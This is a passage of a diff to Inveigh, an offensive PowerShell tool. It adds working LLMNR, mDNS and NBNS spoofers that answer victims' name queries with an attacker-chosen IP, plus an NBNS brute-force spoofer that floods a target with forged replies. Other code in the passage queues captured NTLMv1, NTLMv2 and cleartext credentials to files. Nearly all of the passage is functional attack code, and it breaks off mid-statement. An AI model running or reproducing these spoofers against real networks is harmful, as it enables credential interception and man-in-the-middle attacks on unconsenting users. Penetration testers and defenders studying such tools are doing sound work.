System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) + $LLMNR_send_socket.SendBufferSize = 1024 + $LLMNR_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) + $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point) + $LLMNR_send_socket.Close() + $LLMNR_response_message = "- response sent" + } + else + { + $LLMNR_request_ignore = $true + } } else { @@ -1635,110 +2936,98 @@ $sniffer_scriptblock = { $LLMNR_response_message = "- $source_IP is on ignore list" } + elseif($inveigh.valid_host_list -contains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is a valid host" + } + elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) + { + $LLMNR_response_message = "- previous capture from $source_IP" + } + elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) + { + $LLMNR_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" + } else { - $LLMNR_response_message = "- not spoofed due to previous capture" + $LLMNR_response_message = "- something went wrong" } } } - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message")]) + if(!$LLMNR_request_ignore) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + } + + } + } + } } - } - } - - if($RunTime) - { - - if($sniffer_stopwatch.Elapsed -ge $sniffer_timeout) - { - - if($inveigh.HTTP_listener.IsListening) + switch($endpoint_source_port) { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - if($inveigh.relay_running) - { - $inveigh.console_queue.Add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) - Start-Sleep -m 5 - $inveigh.relay_running = $false - } - - $inveigh.console_queue.Add("Inveigh exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to run time")]) - Start-Sleep -m 5 - $inveigh.running = $false - - if($inveigh.HTTPS) - { - & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null - - try + 5355 # LLMNR Response { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.Find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] - $certificate_store.Remove($certificate) - $certificate_store.Close() - } - catch - { - - if($inveigh.status_output) - { - $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") - } - - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } + if($SpooferLearning -eq 'Y' -and $LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes[12] + 13)]) + $LLMNR_query = $LLMNR_query -replace "-00","" + + if($LLMNR_query.Length -eq 2) + { + $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16) + $LLMNR_query_string = New-Object System.String($LLMNR_query) + } + else + { + $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) + } + + [Byte[]]$LLMNR_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)] + $LLMNR_response_IP = [System.Net.IPAddress]$LLMNR_response_IP_bytes + $LLMNR_response_IP = $LLMNR_response_IP.IPAddressToString + + if($inveigh.valid_host_list -notcontains $LLMNR_query_string) + { + $inveigh.valid_host_list.Add($LLMNR_query_string) + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") + } + + } + + } + } } - - $inveigh.HTTP = $false - $inveigh.HTTPS = $false - } - } - if($inveigh.file_output) - { - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveRange(0,1) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveRange(0,1) } } @@ -1750,38 +3039,952 @@ $sniffer_scriptblock = $memory_stream.Close() } +# Unprivileged LLMNR Spoofer ScriptBlock +$LLMNR_spoofer_scriptblock = +{ + param ($Inspect,$LLMNR_response_message,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$LLMNRTTL) + + $LLMNR_running = $true + $LLMNR_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,5355) + + try + { + $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient 5355 + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") + $LLMNR_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") + } + + } + + $LLMNR_multicast_group = [IPAddress]"224.0.0.252" + $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) + $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 + $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) + [Array]::Reverse($LLMNR_TTL_bytes) + + while($inveigh.running -and $LLMNR_running) + { + + try + { + $LLMNR_request_data = $LLMNR_UDP_client.Receive([Ref]$LLMNR_listener_endpoint) + } + catch + { + $LLMNR_UDP_client.Close() + $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient 5355 + $LLMNR_multicast_group = [IPAddress]"224.0.0.252" + $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) + $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 + } + + if($LLMNR_request_data -and [System.BitConverter]::ToString($LLMNR_request_data[($LLMNR_request_data.Length - 4)..($LLMNR_request_data.Length - 3)]) -ne '00-1c') # ignore AAAA for now + { + + $LLMNR_response_packet = $LLMNR_request_data[0,1] + + 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + + $LLMNR_request_data[12..$LLMNR_request_data.Length] + + $LLMNR_request_data[12..$LLMNR_request_data.Length] + + $LLMNR_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $LLMNR_query_string = [Text.Encoding]::UTF8.GetString($LLMNR_request_data[13..($LLMNR_request_data[12] + 12)]) + $source_IP = $LLMNR_listener_endpoint.Address.IPAddressToString + + if(!$Inspect -and ($LLMNR_request_data -and $LLMNR_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) + { + $LLMNR_destination_endpoint = New-Object Net.IPEndpoint($LLMNR_listener_endpoint.Address,$LLMNR_listener_endpoint.Port) + $LLMNR_UDP_client.Connect($LLMNR_destination_endpoint) + $LLMNR_UDP_client.Send($LLMNR_response_packet,$LLMNR_response_packet.Length) + $LLMNR_UDP_client.Close() + $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient 5355 + $LLMNR_multicast_group = [IPAddress]"224.0.0.252" + $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) + $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 + $LLMNR_response_message = "- response sent" + } + else + { + + if($Inspect) + { + $LLMNR_response_message = "- inspect only" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $LLMNR_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $LLMNR_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.IP_capture_list -contains $source_IP) + { + $LLMNR_response_message = "- previous capture from $source_IP" + } + else + { + $LLMNR_response_message = "- something went wrong" + } + + } + + if($LLMNR_request_data) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + } + + } + + $LLMNR_request_data = "" + } + + } + + $LLMNR_UDP_client.Close() + } + +# Unprivileged mDNS Spoofer ScriptBlock +$mDNS_spoofer_scriptblock = +{ + param ($Inspect,$mDNS_response_message,$mDNSTTL,$mDNSTypes,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore) + + $mDNS_running = $true + $mDNS_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,5353) + + try + { + $mDNS_UDP_client = New-Object System.Net.Sockets.UdpClient 5353 + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") + $mDNS_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") + } + + } + + $mDNS_multicast_group = [IPAddress]"224.0.0.251" + $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) + $mDNS_UDP_client.Client.ReceiveTimeout = 5000 + $mDNS_TTL_bytes = [System.BitConverter]::GetBytes($mDNSTTL) + [Array]::Reverse($mDNS_TTL_bytes) + + while($inveigh.running -and $mDNS_running) + { + + try + { + $mDNS_request_data = $mDNS_UDP_client.Receive([Ref]$mDNS_listener_endpoint) + } + catch + { + $mDNS_UDP_client.Close() + $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353 + $mDNS_multicast_group = [IPAddress]"224.0.0.251" + $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) + $mDNS_UDP_client.Client.ReceiveTimeout = 5000 + } + + if([System.BitConverter]::ToString($mDNS_request_data) -like '*-00-01-80-01') + { + $mDNS_response_packet = $mDNS_request_data[0,1] + + 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + + $mDNS_request_data[12..($mDNS_request_data.Length - 5)] + + 0x00,0x01,0x00,0x01 + + $mDNS_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $mDNS_query_string = DataToString 13 $mDNS_request_data[12] $mDNS_request_data + $mDNS_query_string_full = $mDNS_query_string + ".local" + $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString + + if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $mDNSTypes -contains 'QU') -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) + { + $mDNS_destination_endpoint = New-Object Net.IPEndpoint($mDNS_listener_endpoint.Address,$mDNS_listener_endpoint.Port) + $mDNS_UDP_client.Connect($mDNS_destination_endpoint) + $mDNS_UDP_client.Send($mDNS_response_packet,$mDNS_response_packet.Length) + $mDNS_UDP_client.Close() + $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353 + $mDNS_multicast_group = [IPAddress]"224.0.0.251" + $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) + $mDNS_UDP_client.Client.ReceiveTimeout = 5000 + $mDNS_response_message = "- response sent" + } + else + { + + if($Inspect) + { + $mDNS_response_message = "- inspect only" + } + elseif($mDNSTypes -notcontains 'QU') + { + $mDNS_response_message = "- disabled mDNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $mDNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $mDNS_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.IP_capture_list -contains $source_IP) + { + $mDNS_response_message = "- previous capture from $source_IP" + } + else + { + $mDNS_response_message = "- something went wrong" + } + + } + + if($mDNS_request_data) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + } + + $mDNS_request_data = "" + } + elseif([System.BitConverter]::ToString($mDNS_request_data) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*') + { + $mDNS_response_packet = $mDNS_request_data[0,1] + + 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + + $mDNS_request_data[12..($mDNS_request_data[12] + 12)] + + 0x05,0x6c,0x6f,0x63,0x61,0x6c,0x00 + + 0x00,0x01,0x00,0x01 + + $mDNS_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $mDNS_query_string = DataToString 13 $mDNS_request_data[12] $mDNS_request_data + $mDNS_query_string_full = $mDNS_query_string + ".local" + $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString + + if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $mDNSTypes -contains 'QM') -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) + { + $mDNS_destination_endpoint = New-Object Net.IPEndpoint([IPAddress]"224.0.0.251",5353) + $mDNS_UDP_client.Connect($mDNS_destination_endpoint) + $mDNS_UDP_client.Send($mDNS_response_packet,$mDNS_response_packet.Length) + $mDNS_UDP_client.Close() + $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353 + $mDNS_multicast_group = [IPAddress]"224.0.0.251" + $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) + $mDNS_UDP_client.Client.ReceiveTimeout = 5000 + $mDNS_response_message = "- response sent" + } + else + { + + if($Inspect) + { + $mDNS_response_message = "- inspect only" + } + elseif($mDNSTypes -notcontains 'QM') + { + $mDNS_response_message = "- disabled mDNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $mDNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $mDNS_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.IP_capture_list -contains $source_IP) + { + $mDNS_response_message = "- previous capture from $source_IP" + } + else + { + $mDNS_response_message = "- something went wrong" + } + + } + + if($mDNS_request_data) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + } + + $mDNS_request_data = "" + } + + } + + $mDNS_UDP_client.Close() + } + +# Unprivileged NBNS Spoofer ScriptBlock +$NBNS_spoofer_scriptblock = +{ + param ($Inspect,$NBNS_response_message,$SpooferIP,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$NBNSTTL) + + $NBNS_running = $true + $NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) + + try + { + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") + $NBNS_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") + } + + } + + $NBNS_UDP_client.Client.ReceiveTimeout = 5000 + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + + while($inveigh.running -and $NBNS_running) + { + + try + { + $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint) + } + catch + { + $NBNS_UDP_client.Close() + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + $NBNS_UDP_client.Client.ReceiveTimeout = 5000 + } + + $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) + + if($NBNS_request_data -and [System.BitConverter]::ToString($NBNS_request_data[10..11]) -ne '00-01') + { + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + + $NBNS_response_packet = $NBNS_request_data[0,1] + + 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + + $NBNS_request_data[13..$NBNS_request_data.Length] + + $NBNS_TTL_bytes + + 0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + 0x00,0x00,0x00,0x00 + + $source_IP = $NBNS_listener_endpoint.Address.IPAddressToString + $NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44]) + + switch ($NBNS_query_type) + { + + '41-41' + { + $NBNS_query_type = "00" + } + + '41-44' + { + $NBNS_query_type = "03" + } + + '43-41' + { + $NBNS_query_type = "20" + } + + '42-4C' + { + $NBNS_query_type = "1B" + } + + '42-4D' + { + $NBNS_query_type = "1C" + } + + '42-4E' + { + $NBNS_query_type = "1D" + } + + '42-4F' + { + $NBNS_query_type = "1E" + } + + } + + $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)]) + $NBNS_query = $NBNS_query -replace "-00","" + $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) + $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) + $NBNS_query_string_subtracted = "" + $NBNS_query_string = "" + $n = 0 + + do + { + $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) + $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) + $n += 1 + } + until($n -gt ($NBNS_query_string_encoded.Length - 1)) + + $n = 0 + + do + { + $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) + $n += 2 + } + until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) + + if(!$Inspect -and ($NBNS_request_data -and $NBNS_listener_endpoint.Address.IPAddressToString -ne '255.255.255.255') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP) -and ($NBNSTypes -contains $NBNS_query_type) -and ($source_IP -ne $IP)) + { + $NBNS_destination_endpoint = New-Object System.Net.IPEndpoint($NBNS_listener_endpoint.Address,137) + $NBNS_UDP_client.Connect($NBNS_destination_endpoint) + $NBNS_UDP_client.Send($NBNS_response_packet,$NBNS_response_packet.Length) + $NBNS_UDP_client.Close() + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + $NBNS_UDP_client.Client.ReceiveTimeout = 5000 + $NBNS_response_message = "- response sent" + } + else + { + + if($Inspect) + { + $NBNS_response_message = "- inspect only" + } + elseif($NBNSTypes -notcontains $NBNS_query_type) + { + $NBNS_response_message = "- disabled NBNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $NBNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $NBNS_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.IP_capture_list -contains $source_IP) + { + $NBNS_response_message = "- previous capture from $source_IP" + } + elseif($source_IP -eq $IP) + { + $NBNS_response_message = "- local request" + } + else + { + $NBNS_response_message = "- something went wrong" + } + + } + + if($NBNS_request_data) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + } + + } + + $NBNS_request_data = "" + } + + } + + $NBNS_UDP_client.Close() + } + +# NBNS BruteForce ScriptBlock +$NBNS_bruteforce_spoofer_scriptblock = +{ + param ($SpooferIP,$NBNSBruteForceHost,$NBNSBruteForceTarget,$NBNSBruteForcePause,$NBNSTTL) + + $NBNSBruteForceHost = $NBNSBruteForceHost.ToUpper() + + $hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41, + 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00 + + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($NBNSBruteForceHost) + $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) + $hostname_encoded = $hostname_encoded.Replace("-","") + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + + for($i=0; $i -lt $hostname_encoded.Count; $i++) + { + + if($hostname_encoded[$i] -gt 64) + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 10 + } + else + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 17 + } + + } + + $NBNS_response_packet = 0x00,0x00,0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + + $hostname_bytes + + 0x00,0x20,0x00,0x01 + + $NBNS_TTL_bytes + + 0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + 0x00,0x00,0x00,0x00 + + $inveigh.console_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") + $NBNS_paused = $false + $NBNS_bruteforce_UDP_client = New-Object System.Net.Sockets.UdpClient(137) + $destination_IP = [System.Net.IPAddress]::Parse($NBNSBruteForceTarget) + $destination_point = New-Object Net.IPEndpoint($destination_IP,137) + $NBNS_bruteforce_UDP_client.Connect($destination_point) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") + } + + while($inveigh.running) + { + + :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.running) + { + + if($NBNS_paused) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + $NBNS_paused = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + } + + } + + for ($i = 0; $i -lt 255; $i++) + { + + for ($j = 0; $j -lt 255; $j++) + { + $NBNS_response_packet[0] = $i + $NBNS_response_packet[1] = $j + $NBNS_bruteforce_UDP_client.send($NBNS_response_packet,$NBNS_response_packet.Length) + + if($inveigh.hostname_spoof -and $NBNSBruteForcePause) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + $NBNS_paused = $true + break NBNS_spoofer_loop + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + } + + } + + } + + } + + } + + Start-Sleep -m 5 + } + + $NBNS_bruteforce_UDP_client.Close() +} + +# Control Loop ScriptBlock +$control_scriptblock = +{ + param ($ConsoleQueueLimit,$NBNSBruteForcePause,$RunCount,$RunTime) + + $inveigh.control = $true + + function StopInveigh + { + param ([String]$exit_message) + + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) + { + + try + { + $certificate_store = New-Object 